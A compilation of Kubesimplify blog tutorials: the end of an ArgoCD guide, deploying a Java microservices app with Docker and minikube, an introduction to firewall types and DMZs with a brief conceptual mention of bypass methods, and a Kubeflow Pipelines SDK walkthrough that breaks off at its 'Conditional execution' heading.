![](/img/blog/an-overview-of-gitops-and-argocd/d83113f7-b263-4761-99b7-7603fd3e8f4d.png align="left")

![](/img/blog/an-overview-of-gitops-and-argocd/f8718152-4c72-46f6-bc1f-18e9dd1ce4af.png align="left")

* Click on \`Create\` on the top to create a new application.
    

### Deploying the application.

* Currently, the `guestbook` application is `OutOfSync` that means it is not deployed.
    
    ![](/img/blog/an-overview-of-gitops-and-argocd/856a3e68-222b-45c5-849d-efdcaad5a179.png align="left")
    
* To deploy the application, click on the `Sync` button and the application will automatically get deployed and would be in sync with the desired state.
    
    ![](/img/blog/an-overview-of-gitops-and-argocd/da7c2d85-a972-41da-b499-ec41f9e8f094.png align="left")
    

The application is now in sync with the provided git repository, and ArgoCD is constantly looking for changes made to the git repository.

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Deploying Java Application using Docker and Kubernetes- DevOps Project

- Canonical: https://blog.kubesimplify.com/deploying-java-application-using-docker-and-kubernetes-devops-project
- Published: 2023-01-09

Hello Everyone, Welcome to the blog. In this blog, We going to see "How to Deploy a Java Application using Docker and Kubernetes". So, Let's start

The workflow of the project is going to be like this in the below image ⬇️⬇️

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/2d7bcb8d-e5ec-4edc-8c4e-d062f83fe445.png align="center")

So, You have already installed Docker, Git, Kubernetes and Maven in your system.

Firstly, start the minikube cluster to up the k8s cluster. Now, the k8s cluster is up.

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/a627d0d2-8a62-403d-be8f-ddff8da97074.png align="center")

You can do `kubectl cluster-info` to see the information of the cluster. You can see this here

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/5d1f73f3-c4cc-4965-b673-43d9db929a46.png align="center")

You must have maven installed on your system and set the maven home page. We use maven to build the application.  
Since I already installed maven on my system. To Check if your maven is installed or not. You can use `maven --version` to check the version of the maven in your system. If it provides the output, it means you successfully installed the maven.

Now, fork the project(Java Application) from GitHub. I used someone's Java application. You can go to my GitHub repo and fork it and can clone it.

Here's the link to my [repository](https://github.com/taniaduggal/docker-kubernetes-java-project)

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/fb91befc-29ad-4ddc-9cd7-b71e2b0f9e1b.png align="center")

Now, go into the repository. By doing `ls`, you can see the different microservices i.e productcatalogue, shopfront and stockmanager.

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/a646c094-c47d-4a05-a341-5f4904dc8e27.png align="center")

Now, we are going to build our microservices to get the jar file.  
Now, go into the shopfront microservice. By doing `ls`, you can see the files/folders inside the shopfront.

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/af1e5dea-9160-40ba-978c-89255749e7e2.png align="center")

You can build the shopfront microservice by using `mvn clean install` command.

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/80bbcf87-59c4-4512-a39b-9fd5e8d08c79.png align="center")

After the build success, you can see the target folder in the shopfront. In that, we have our jar file.

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/89dd149f-3bf6-4f45-b3c6-27dfef947757.png align="center")

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/415b9539-50df-4fbc-806b-919b963649f3.png align="center")

Now, You can build the image of your shopfront jar file from the dockerfile by using `docker build` command.

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/1b009438-1ece-48ce-8179-06518470f021.png align="center")

Let's, take a look at the dockerfile.

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/4133df31-ba67-410b-bf15-7f267d18ca1e.png align="center")

From: We call the base image for OpenJDK for the JRE file  
And: Add YAML and config files that are necessary  
We expose the port and give EntryPoint

You can check the image by `docker images` command. It lists all the images.

Now, you repeat the same steps for your other microservices.  
First, by `mvn clean install` command, get the jar file for the remaining microservices.  
Second, by `docker build` command, build the images of the remaining microservices.  
Now, after following the above steps, you can build your remaining images. You can see all the images by `docker images` command.

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/e2be0b18-3965-4ce5-8565-af4d63d89c20.png align="center")

Now, You have to push all your images to your docker account.

Now, login to your docker account by docker login. It asks for the username or password.

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/2f590e8d-74bf-401d-8fe0-35c79d7a7056.png align="center")

After the login succeeded, you can push your images to the dockerhub. You have to give the username of your docker account because if you don't give the username, you won't able to push the images because it has to understand from where the images are being pushed (from which account).

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/d17c7a93-aac7-4771-81fd-8cb0bf6f01c7.png align="center")

Now, you go to dockerhub, and you can see your images in your repository.

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/b13813b9-7a73-4c76-8b38-25daee689a77.png align="center")

Once you push your images, you can docker logout from dockerhub login from your system.

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/a6a59d2b-c889-48ec-a664-7c1147ea7f61.png align="center")

Now if I go to my application, there is a folder "Kubernetes". It contains the YAML files for each microservice.  
If you don't know about service and deployment, please refer to this [article](https://www.copado.com/devops-hub/blog/kubernetes-deployment-vs-service-managing-your-pods) .

Now, go to the Kubernetes folder. Here, You can see YAML files for each microservice.

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/e46da8cb-6681-43e8-b1ec-6693235ac9d5.png align="center")

Now, let's take a little bit look at one of the YAML files.

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/84c82955-a9c1-421c-9c7c-a49cb21f4c57.png align="center")

In the YAML file, we use "Deployment" and "Service" objects. Using a deployment allows you to easily keep a group of identical pods running with a common configuration. Once you have defined and deployed your deployment Kubernetes will then work to make sure all pods managed by the deployment meet whatever requirements you have set.

When using a Kubernetes service, each pod is assigned an IP address. As this address may not be directly knowable, the service provides accessibility, then automatically connects the correct pod. When a service is created it publishes its own virtual address as either an environment variable to every pod or, if your cluster is using coredns, as a DNS entry any pod can attempt to reach. In the event of any changes to the number of available pods the service will be updated and begin directing traffic accordingly with no manual action required.

Now, We are going to apply all the YAML files using `kubectl apply` command.

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/1b5b91ad-7758-41d5-ac17-2fe71323b033.png align="center")

Now, your Deployment and Service objects are created. You can see them by using `Kubectl get deployment` and `kubectl get svc` commands respectively.

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/1bba6e93-b0be-47ea-b57b-3caa3f8650a6.png align="center")

Now, it's time to access our microservices from the web. Now, do `minikube service microservicename` . It gives the URL to access the application. You can see this here

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/240c2471-2fa6-4444-a08d-3ed0c18a9431.png align="center")

Now, You'll go to your web browser and put the IP address there to access the microservice from the web browser. You can see this here

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/726a5b36-28ea-42ef-b4b6-ca93a4cfc745.png align="center")

Now, do the same for other microservices to access it from the web browser. You can see this here

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/bb414a0d-440e-4db5-b3dc-31d8f515dcca.png align="center")

![](/img/blog/deploying-java-application-using-docker-and-kubernetes-devops-project/10117f82-d12d-4d58-8b8d-ff6f7a3690a8.png align="center")

These all are the steps to deploy the Java application using Docker and Kubernetes. I hope🤷‍♂️ it should be helpful for you to understand the concepts✍️.

Don't forget to like and share this post. Connect with me on [Twitter](https://twitter.com/taniadtwt). Follow me for more such blogs on [Hashnode](https://hashnode.com/@taniaduggal).

Follow Kubesimplify on [Hashnode](https://blog.kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify), and [LinkedIn](https://www.linkedin.com/company/kubesimplify/). Join our Discord server to learn with us.

---

# Firewall: A Network's Gatekeeper

- Canonical: https://blog.kubesimplify.com/firewall-a-networks-gatekeeper
- Published: 2023-01-03

### 🌐Introduction

A firewall is a part of the computer system or network whose fundamental objective is to separate trusted and untrusted components of a network. It uses pre-defined rules/policies to establish a secure connection and stop unauthorized traffic from flowing from one network to another. It acts as a protective layer that filters data, redirect traffic, and protects against network attacks. A firewall can be based on software or hardware, depending on the use case.

A firewall is the first line of defense against malware or application layer attacks in the network domain. It assesses the flowing data packets for any suspicious activity in the network and blocks it using the policies set up while configuring the firewall.

![](/img/blog/firewall-a-networks-gatekeeper/c45154cd-f0e9-465b-a4d9-9d991328b87e.png align="center")

#### Requirements for a firewall

* All the traffic between any two zones must pass through the firewall.
    
* Only the traffic authorized by virtue of security policies should be allowed to pass through a firewall.
    
* The firewall must be impenetrable in itself.
    

#### The De-Militarized Zone (DMZ)

> While DMZ is a separate topic of its own, I have given a summary to explain its architecture and functioning in its most basic sense!
> 
> If you're someone who is intrigued by cybersecurity, then do check DMZs in more depth and how honeypots are placed in a DMZ to secure the network policies.

The DMZ is a subnet that can be configured logically and physically. The primary function of DMZ is to connect the public network to an organization's private network by sandwiching the organization's servers, which are in contact with the public network, between two firewalls. DMZs can be configured using one or two firewalls. Still, the better approach is to use two firewalls (preferably made by different vendors to reduce common vulnerabilities, if any) and then put the DMZ between them. The inner firewall has secure and tight policies, while the outer firewall is somewhat forgiving. The DMZ adds another layer of security to an organization's network structure by detecting a security flaw before it reaches the private LAN. Some servers usually placed in a DMZ are DNS, email servers, web servers, etc., as they are more prone to being attacked through the external network and provide services outside the LAN.

![](/img/blog/firewall-a-networks-gatekeeper/5a380ea4-ad2a-4173-96c6-6cc8df7ebe79.png align="center")

### 📝Firewall Policies & Actions

There are three kinds of policies on which the firewall authorizes the data:

1. **User Control**: Here, access to the requested data is based upon the requesting user's role. This kind of control is applied to users inside the parameter of the firewall. E.g., consider a university's network; the accounting department subnet here can access the financial database, but the systems on the faculty subnet don't have access to the same, etc.
    
2. **Service Control**: Controls access by the type of service the host offers. The rules are applied based on the network address, the protocol of the connection port, and the port numbers of services.
    
3. **Direction Control**: This ensures the direction in which the requests must be initiated and are allowed to flow through the firewall (inbound or outbound).
    

After applying the configured rules on the data packets, the firewall takes some predefined actions. These actions are:

1. **Accept**: Here, the data is allowed to enter through the firewall.
    
2. **Drop**: Here, the data is filtered outside and not permitted to flow through the firewall.
    
3. **Reject**: This action is the same as the Drop action. It only adds a rejection message to the source using an ICMP packet on top of the Drop action.
    
    > From the aspect of cybersecurity, one must keep in mind to use REJECT whenever the firewall must disallow the packet flow originating from a trusted source. But in the cases where the source is not trusted, one must always use the DROP action as it will not send back any message and lead to a timeout of the request from a potential attacker. E.g., if we send a REJECT message back to an attacker, it would get aware of the up-and-running status of the machine even after successful filtering of packets, whereas on using DROP, the attacker can not analyze anything to conclude the running status of a machine.
    

### 🔥Types of Firewalls

There are two kinds of filtering that are performed by a firewall:

* **Ingress Filtering**
    
    * Inspection of the incoming traffic to safeguard an internal network.
        
    * Blocks out the suspicious packets that are coming from outside.
        
* **Egress Filtering**
    
    * Inspection of the outgoing traffic to block the internal user's access to specific networks.
        
    * Blocks users from reaching out to the outside network. E.g., blocking social networking sites, etc.
        

Now, depending on the mode of operation, there are three types of firewalls:

#### 1\. Packet Filtering Firewall

* This type of firewall controls the traffic based on the information stored in the network and transport layer headers of the data packet, without paying attention to the packet's payload data.
    
* The firewall does not maintain the states of packets. Hence, it is also called the **Stateless Firewall**.
    
* The firewall does not care if the packet is a part of an existing data stream. It verifies the header information, nevertheless.
    

![](/img/blog/firewall-a-networks-gatekeeper/729f1c6d-eb8c-4cb7-936b-3eebe721df10.png align="center")

#### 2\. Stateful Firewall

* This type of firewall tracks traffic states by monitoring all the connection interactions until the connection is closed.
    
* A table for states of connection of packets is maintained to keep track of information.
    
* E.g., the firewall can be configured to allow packet flow in already open port connections.
    

![](/img/blog/firewall-a-networks-gatekeeper/f91fe3b0-f4c4-4e4f-8a2c-6922e0fa7a99.png align="center")

#### 3\. Application/ Proxy Firewall

* Such a firewall acts as a proxy between private and public networks. The client's connection terminates at the proxy, and a separate connection is initiated from the proxy to the destination server.
    
* The data analysis is done up to the application layer in the application firewall.
    
* Such a firewall controls inputs, outputs, and access to/from an application or a service.
    
* The proxy behaves like an intermediary by impersonating the intended recipient.
    
* Typically, an application firewall is set up to be used as a proxy. The general one is the web proxy (to control what the browsers can access). To set this up, we place them on a network bridge between the internal and external networks and configure all the web traffic to be routed through them.
    
* A proxy can also be used to avoid egress filtering. E.g., if a firewall filters packets based on the destination IP address, then we can route our packets to the proxy's IP address configured to be accepted by the firewall, which then forwards our query to the desired destination.
    
* Another use of a proxy is to anonymize the origin of a network request from servers. As the request will contain the IP of the proxy, the servers will have no clue about the actual origin of the request.
    

![](/img/blog/firewall-a-networks-gatekeeper/6a21d16a-9a00-4f0a-af7c-754267da4e7e.png align="center")

### 👀How to bypass firewalls?

#### 1\. SSH Tunneling

Let's say our firewall blocks traffic on port 23 (Telnet). To access a telnet server inside the firewall, we can set up an SSH connection on port 22 between a server outside the network and a client (with an open port 23) inside the network. Now the client can connect with the telnet server within the network and route its data through the ssh connection to the external server, thereby tunneling the blocked data through the firewall.

![](/img/blog/firewall-a-networks-gatekeeper/28845917-6718-4f55-89f0-dc7e763a8342.png align="center")

#### 2\. VPNs

We can encapsulate our data within IP packets and send it across the firewall through a tunnel between an internal and external system created using VPN. As the tunnel traffic is encrypted, the firewall is unaware of the contents, and the blocked content can bypass the firewall filtering.

#### 3\. Other methods to evade firewalls

There are many more methods of bypassing a firewall. Some of the most popular ones are:

* Dynamic port forwarding
    
* Banner Grabbing
    
* Fragmenting Packets
    
* Firewalking
    
* Source Routing
    
* IP address spoofing
    
* MAC Address spoofing
    
* Through XSS Attack
    
* And many more…
    

---

Follow Kubesimplify on [**Hashnode**](https://blog.kubesimplify.com/), [**Twitter**](https://twitter.com/kubesimplify)**,** and [**LinkedIn**](https://www.linkedin.com/company/kubesimplify/). Join our Discord server to learn with us.

Like the explanation? Want to [connect](https://twitter.com/barman_arnav)? You can find me [**here**](https://linktr.ee/arnav_barman). Till then, happy learning!

---

---

# Kubeflow Pipelines: Orchestrating Machine Learning Workflows - Part 3

- Canonical: https://blog.kubesimplify.com/kubeflow-pipelines-orchestrating-machine-learning-workflows-part-3
- Published: 2022-12-27

Kubeflow Pipelines is a great way to build and deploy end-to-end scalable and portable Machine Learning workloads. In this article, we take a look at how to use Kubeflow Pipelines for your own tasks and how Kubeflow Pipelines works under the hood.

## Previous articles in the series

* [Kubeflow: Machine Learning on Kubernetes - Part 1](https://kubesimplify.com/kubeflow-machine-learning-on-kubernetes-part-1)
    
* [Kubeflow Notebooks: ML Experimentation Made Easier - Part 2](https://kubesimplify.com/kubeflow-notebooks-ml-experimentation-made-easier-part-2)
    

In the last article, we already took a look at Kubeflow Notebooks, when can they be used, customizations you could make, and how they work. The time around we will talk about Kubeflow Pipelines, another component of Kubeflow.

## Kubeflow Pipelines

Building and deploying portable, scalable machine learning workflows is really important especially since you would have different stages in your machine learning workflow all of which use different tools: preparing data, training the model, evaluating performance, deployment, and more. This particularly motivates the need for an orchestrator and is also a way to foster reusability.

This is exactly what Kubeflow Pipelines aims to do. Kubeflow Pipelines is based on top of Argo Workflows, which is an open-source, container-native workflow engine for Kubernetes, we will talk more about this later. With Kubeflow Pipelines your machine learning pipeline is implemented as a graph, and each of the nodes in this graph forms different stages in a workflow.

![example-graph.png](/img/blog/kubeflow-pipelines-orchestrating-machine-learning-workflows-part-3/88sUL8wXu.png align="left")

A workflow in Kubeflow Pipelines

You can think of a pipeline as a description of your machine learning workflow including the inputs required to run the pipeline and all the pipeline components. A pipeline component is a self-contained set of code (a Docker image) that performs a single step in your pipeline, such as data preprocessing, model training, and so on. Multiple of these components and how you arrange them in a graph will make up your pipeline.

![pipeline-and-components.png](/img/blog/kubeflow-pipelines-orchestrating-machine-learning-workflows-part-3/28H22rxBM.png align="left")

The main goals of Kubeflow Pipelines are:

* End-to-end orchestration: enabling and simplifying the orchestration of machine learning pipelines.
    
* Easy experimentation: making it easy for you to try numerous ideas and techniques and manage your various trials/experiments.
    
* Easy re-use: enabling you to re-use components and pipelines to quickly create end-to-end solutions without having to rebuild each time.
    

## Running a pre-built pipeline

We will start by exploring how we can run a pre-built Kubeflow pipeline, this will help you get familiar with Kubeflow Pipelines UI as well as set the background for the other sections in this article. Kubeflow comes installed with a few sample pipelines which you can notice under the Pipelines tab in the Kubeflow Central Dashboard.

![image.png](/img/blog/kubeflow-pipelines-orchestrating-machine-learning-workflows-part-3/LUqbUH6ii.png align="left")

Kubeflow comes with pre-packaged Pipelines

Clicking on a specific pipeline you can see its graph as well as the pipeline or pipeline component's compiled code, which is essentially an Argo YAML file.

When running a pipeline you must choose an experiment, an experiment is a workspace and you can use experiments to organize your runs into logical groups.

Start by clicking on the "Data passing in python components" pipeline and as you will notice, it is a quite simple pipeline that runs some Python commands. We will start by creating an experiment by clicking the "Create an Experiment" on the UI, give it a name, and then you should end up on a page to start a run.

![image.png](/img/blog/kubeflow-pipelines-orchestrating-machine-learning-workflows-part-3/0rrv86whG.png align="left")

The Start a Run page

Right now, we will just select our run to be a one-off run and not set up a recurring run which allows you to (as the name suggests) run the pipeline after some set time. Your pipeline run will now start, Your run should soon be over since it is a very small pipeline.

![image.png](/img/blog/kubeflow-pipelines-orchestrating-machine-learning-workflows-part-3/WEs-8CDyz.png align="left")

The run is completed

You just run your first Kubeflow pipeline and Before talking about building the pipeline using the Python SDK we will see the main components of Kubeflow Pipelines.

## Components of Kubeflow Pipelines

The Kubeflow Pipelines platform consists of:

* A UI for managing and tracking pipelines and their execution
    
* An engine for scheduling a pipeline’s execution
    
* An SDK for defining, building, and deploying pipelines in Python
    
* Notebook support for using the SDK and pipeline execution
    

We already took a look at the UI and now we will take a better look at using the Python SDK and how you can create your own new pipelines.

## The Python SDK

As you now know Kubeflow Pipelines are stored as Argo YAML files executed by Argo. Kubeflow also exposes a Python domain-specific language for creating new pipelines. The Kubeflow Pipelines SDK provides a set of Python packages that we can use to specify and run our machine-learning workflows as pipelines.

A pipeline is just a graph of container execution. In addition to specifying which containers should run in which order, it also allows us to pass arguments to the entire pipeline and between these containers.

### What do you need?

For all of these containers, we need to make sure a couple of things are being done:

* First off you of course want to create a container and this could be as simple as you writing a Python function and Kubeflow Pipelines packaging it up as a container or bringing your container as well
    
* You then need to show Kubeflow Pipelines how it should run the container which could involve any command line arguments or data mounts you need to be able to run this container as desired
    
* You also need to order these containers, which of these should run sequentially which of these should run in parallel, and so on
    
* Finally, as you know Kubeflow Pipelines needs an Argo YAML file and not Python code so finally, you want to be able to compile your Python code into Argo YAML files
    

And all of this is how the Kubeflow Pipelines Python SDK helps us out.

### Installing the SDK

You can install the Kubeflow Pipelines SDK through PyPI considering you already have Kubeflow with all of its components installed or just the standalone Kubeflow Pipelines installed:

```sh
pip install kfp --upgrade
```

I would recommend working through the demos in a Kubeflow Notebook which by default has `kfp` installed as well as gives you access to Kubeflow Pipelines by default since the notebook lives in the same cluster. I will be using Kubeflow Notebooks as we talked about in [Kubeflow Notebooks: ML Experimentation Made Easier](https://kubesimplify.com/kubeflow-notebooks-ml-experimentation-made-easier-part-2) article.

However, You are not bound to do so you could most certainly try out these experiments outside Kubeflow Notebooks as well. You would need to connect to Kubeflow Pipelines with the SDK, an in-depth guide on doing so can be found [here](https://www.kubeflow.org/docs/components/pipelines/sdk/connect-api/).

In this article, I will connect to the SDK simply using:

```py
client = kfp.Client()
```

which works well since the notebook is in the same cluster as Kubeflow Pipelines.

## Building new pipelines

We will first take a look at building components with just a Python function and allowing Kubeflow to package it.

### Function based components

We will build a component in our pipeline which multiplies two numbers, this is a rather simple component and creating Python function-based components will be an easier way to go rather than building a container image for your component which we will soon see as well.

Here is a simple function that multiplies two numbers:

```py
def multiply(a: float, b: float) -> float:
  return a * b
```

Next up, we create a pipeline component just from this function using the `create_component_from_func` method. You can also see the underlying component yaml file created at `multiply_component.yaml`, if you notice under the hood this creates a container with a Python container image and runs our program while also adding some code for serialization and passing arguments. This yaml file is a reusable and shareable definition of your component.

The `create_component_from_func` also returns a factory function, were you to call `multiply_op()` it would create `kfp.dsl.ContainerOp` class instances which are how you represent an op implemented by a container image, we would use the `multiply_op` later while creating a pipeline.

```py
def multiply(a: float, b: float) -> float:
    return a * b

import kfp

multiply_op = kfp.components.create_component_from_func(
    multiply, output_component_file="multiply_component.yaml"
)
```

We will now create a pipeline using this component. We first annotate the pipeline creation function with `@dsl.pipeline` which specifies that this function will be used to create a pipeline.

Notice something odd? The arguments to `multiply_pipeline` are strings and not floats, this is indeed expected and would be taken care of by the serializer and deserializer.

Finally, this piece of code also connects to the Kubeflow Pipelines using the SDK, you should also read this [documentation](https://www.kubeflow.org/docs/components/pipelines/sdk/connect-api/) which lists how you would do so for all kinds of platforms. After connecting to Kubeflow Pipelines we also create a run for this pipeline: if you remember from earlier we should now expect to see our pipeline running in Kubeflow dashboard.

```py
def multiply(a: float, b: float) -> float:
    return a * b

import kfp

multiply_op = kfp.components.create_component_from_func(
    multiply, output_component_file="multiply_component.yaml"
)

import kfp.dsl as dsl
@dsl.pipeline(name="Multiply", description="An example pipeline.")
def multiply_pipeline(
    a="1",
    b="5",
):
    multiply_task = multiply_op(a, b)

arguments = {"a": "2", "b": "3"}

client = kfp.Client()
client.create_run_from_pipeline_func(multiply_pipeline, arguments=arguments)
```

Alternatively, you could also create a zipped yaml file for our pipeline and load it to Kubeflow Pipelines which works the same way.

```py
compiler = kfp.compiler.Compiler()
compiler.compile(multiply_pipeline, 'multiply-pipeline.zip')
```

The above code creates a file `multiply-pipeline.zip` which can be uploaded using the Kubeflow Pipeline UI.

![image.png](/img/blog/kubeflow-pipelines-orchestrating-machine-learning-workflows-part-3/8qCESsP95.png align="left")

You would also need to follow the steps we covered earlier in this article to run the pipeline we just uploaded however this time around when running the pipeline through the UI you see the option of run parameters which is the parameters our pipeline accepts, in our case `a` and `b`.

### Specifying Base Images

The current approach we saw, was using Python functions as pipeline components. By default, this uses the Python image corresponding to the current Python environment. However, Kuebflow also allows explicitly specifying base images to use for your pipeline components.

Here is an example where I create a pipeline component from the same Python function however, I specify a different base image for running this:

```py
def multiply(a: float, b: float) -> float:
    return a * b


import kfp

multiply_op = kfp.components.create_component_from_func(
    multiply,
    output_component_file="multiply_component.yaml",
    base_image="python:3.7",
)

import kfp.dsl as dsl


@dsl.pipeline(name="Multiply", description="An example pipeline.")
def multiply_pipeline(
    a="1",
    b="5",
):
    multiply_task = multiply_op(a, b)


arguments = {"a": "2", "b": "3"}

client = kfp.Client()
client.create_run_from_pipeline_func(multiply_pipeline, arguments=arguments)
```

You can also specify a list of packages you want to install before the pipeline component is run, this is particularly helpful if your component just requires a few other libraries to be installed. Here is an example of the same function however using the default image and installing one new package.

```py
def multiply(a: float, b: float) -> float:
    return a * b


import kfp

multiply_op = kfp.components.create_component_from_func(
    multiply,
    output_component_file="multiply_component.yaml",
    packages_to_install=['pandas==0.24'],
)

import kfp.dsl as dsl


@dsl.pipeline(name="Multiply", description="An example pipeline.")
def multiply_pipeline(
    a="1",
    b="5",
):
    multiply_task = multiply_op(a, b)
```

We can now run this just as we did earlier directly through the SDK using this piece of code:

```py
arguments = {"a": "2", "b": "3"}

client = kfp.Client()
client.create_run_from_pipeline_func(multiply_pipeline, arguments=arguments)
```

Or we could also trigger a run from the UI by running the following to get the compiled pipeline:

```py
compiler = kfp.compiler.Compiler()
compiler.compile(multiply_pipeline, 'multiply-pipeline.zip')
```

### Using container images

Building pipeline stages directly from Python provides a great way to do much with Kubeflow Pipeline. It does limit our implementation to Python, though. With Kubeflow Pipelines we can orchestrate the execution of container images thus allowing us to use any tool or language for your pipeline. For Kubeflow Pipelines to run your component, your component must be packaged as a Docker container image and published to a container registry that your Kubernetes cluster can access. This does not involve doing any changes to your container image for Kubeflow pipelines.

We can do this by using `kfp.dsl.ConatinerOp`, here is some simple code to load the Python image and then run some commands on the container image:

```py
import kfp
import kfp.dsl as dsl


@dsl.pipeline(name="cointoss", description="Example Pipeline.")
def random_coin_toss():
    random_step = dsl.ContainerOp(
        name="Flip coin",
        image="python:alpine3.7",
        command=["sh", "-c"],
        arguments=[
            "python -c \"import random; result = 'heads' if random.randint(0,1) == 0 "
            "else 'tails'; print(result)\" | tee /tmp/output"
        ],
        file_outputs={"output": "/tmp/output"},
    )
```

We can also have environment variables while running this step, to do so we would need to use the Kubernetes Python Client:

```py
from kubernetes import client as k8s_client
import kfp
import kfp.dsl as dsl


some_step = (
    dsl.ContainerOp(
        name="example", image=image
    )
    .add_env_variable(k8s_client.V1EnvVar(name=env_var_1, value=value_1))
    .add_env_variable(k8s_client.V1EnvVar(name=env_var_2, value=value_2))
)
```

However, ideally, you would want to be able to better reusable steps and it is often suggested to not directly use `kfp.dsl.ContainerOp` and rather use `load_component_from_text`. below is an example of the same step using `load_component_from_text` this time around and as you might observe the syntax is pretty similar:

```py
create_step_coin_toss = kfp.components.load_component_from_text("""
    name: Flip Coin
    description: Example Pipeline.
    
    inputs:
    - {name: text, type: String}
    
    outputs:
    - {name: data, type: Data}
    
    implementation:
      container:
        image: python:alpine3.7
        command:
        - sh
        - -c
        - |
          python -c \"import random; result = 'heads' if random.randint(0,1) == 0
          else 'tails'; print(result)\" | tee /tmp/output
""")
```

## Passing data between steps

The examples we saw earlier were pretty simple with a single function being run however as you start building complex pipelines, you most certainly would need to pass data between containers and maybe even pass the output of one step to the other step.

Under the hood, when Kubeflow Pipelines runs a component, a container image is started in a Kubernetes Pod and your component’s inputs are passed in as command-line arguments. When your component has finished, the component’s outputs are returned as files.

We can do this using `.output` on a `dsl.ContainerOp` object. Building a pipeline that reuses the outputs from other steps also tells Kubeflow Pipelines the order in which the components should be run. Here is an example of a pipeline that reuses the outputs from a previous step:

```py
def multiply(a: float, b: float) -> float:
    return a*b

def add(a: float, b: float) -> float:
    return a + b

import kfp

multiply_op = kfp.components.create_component_from_func(
    multiply, output_component_file="multiply_component.yaml"
)

add_op = kfp.components.create_component_from_func(
    add, output_component_file="multiply_component.yaml"
)

import kfp.dsl as dsl
@dsl.pipeline(name="Multiply and Add", description="An example pipeline.")
def multiply_add_pipeline(
    a="2",
    b="5",
    c="3"
):
    multiply_task = multiply_op(a, b)

    # Calculate (a * b) + c
    add_task = add_op(multiply_task.output, c)
```

However, it might be helpful to have multiple outputs and not just a single output from a function that you can use, we can use `NamedTuples` here. We would essentially still return a single value, a tuple however we would be able to reference the outputs we need from it. Here is an example of a pipeline that achieves the same goal but with `NamedTuples`:

```py
from typing import NamedTuple

def multiply(a: float, b: float) -> NamedTuple("MultiplyOutput",[("result", float)]):
    from collections import namedtuple
    output = namedtuple('MultiplyOutput', ['result'])
    return output(a*b)

def add(a: float, b: float) -> float:
    return a + b

import kfp

multiply_op = kfp.components.create_component_from_func(
    multiply, output_component_file="multiply_component.yaml"
)

add_op = kfp.components.create_component_from_func(
    add, output_component_file="multiply_component.yaml"
)

import kfp.dsl as dsl
@dsl.pipeline(name="Multiply and Add", description="An example pipeline.")
def multiply_add_pipeline(
    a="2",
    b="5",
    c="3"
):
    multiply_task = multiply_op(a, b)
    
    # Calculate (a * b) + c
    add_task = add_op(multiply_task.outputs["result"], c)
```

Until now, we took a look at passing simple data between containers, primitive types, or Python objects however that limits what we can do with Kubeflow Pipeline. We would often want to pass much larger data maybe blobs and not just objects. One particular example could be passing the entire dataset between steps. You would probably want to leverage Kubernetes Persistent Volumes for this.

From the [Kubernetes documentation](https://kubernetes.io/docs/concepts/storage/persistent-volumes/) which accurately summarizes Persistent Volumes:

> The PersistentVolume subsystem provides an API for users and administrators that abstracts details of how storage is provided from how it is consumed.

We can use Kubeflow Pipelines’ `VolumeOp` class to allow us to create an automatically managed persistent volume. This allows us to represent an op that will be translated into a resource template that creates a PersistentVolumeClaim. Let us now try to create a pipeline that is able to create a Persistent Volume and then have the next step write some data to the volume. We will start with some code and I will try to explain what is happening:

```py
import kfp
import kfp.dsl as dsl


@kfp.components.create_component_from_func
def write_to_volume():
    with open("/mnt/file.txt", "w") as file:
        file.write("Hello world")


@dsl.pipeline(
    name="volumeop-basic",
    description="A Basic Example on VolumeOp Usage."
)
def volumeop_basic(size: str="1Gi"):
    vop = dsl.VolumeOp(
        name="create-pvc",
        resource_name="my-pvc",
        modes=dsl.VOLUME_MODE_RWO,
        size=size
    )

    write_to_volume().add_pvolumes({"/mnt": vop.volume})
```

The first step in the pipeline description tells it to use `VolumeOp` to create a Persistent Volume Claim and Persistent Volume and here we show a couple of options to customize the Volume creation particularly the `resource_name`, `modes` and the `size` of the volume. The `modes` argument allow us to specify the access modes for the Persistent Volume Claim and it can be any one of the:

* ReadWriteOnce: The volume can be mounted as read-write by a single node.
    
* ReadOnlyMany: The volume can be mounted read-only by many nodes.
    
* ReadWriteMany: The volume can be mounted as read-write by many nodes.
    

Here we make a Persistent Volume Claim with the ReadWriteOnce access mode. Running this step should allow us to have a Persistent Volume created for us and well that does happen:

![image.png](/img/blog/kubeflow-pipelines-orchestrating-machine-learning-workflows-part-3/7dabjlagO.png align="left")

There are quite a few customizations you could add to making a Persistent Volume which can be quite helpful while designing larger stateful pipelines. Some things which might be of interest to you while using the `VolumeOp` could be adding Kubernetes Affinity, adding nodeSelector, or even Kubernetes tolerations which among others can be very useful and can be done easily with the `VolumeOp`.

Next up we have a component that simply writes "Hello World" to a new file. We want this to use the Persistent Volume we created which we can easily do using the `.add_pvolumes()` which as the name suggests allows you to sue this volume. It might be helpful for further customization to also check out `.add_volume()` which allows you to use a Kubernetes Volume you created, well we do that as well, but using `.add_volume()` you are not limited to volumes creating using the Kubeflow Pipelines `VolumeOp`.

## Conditional execution

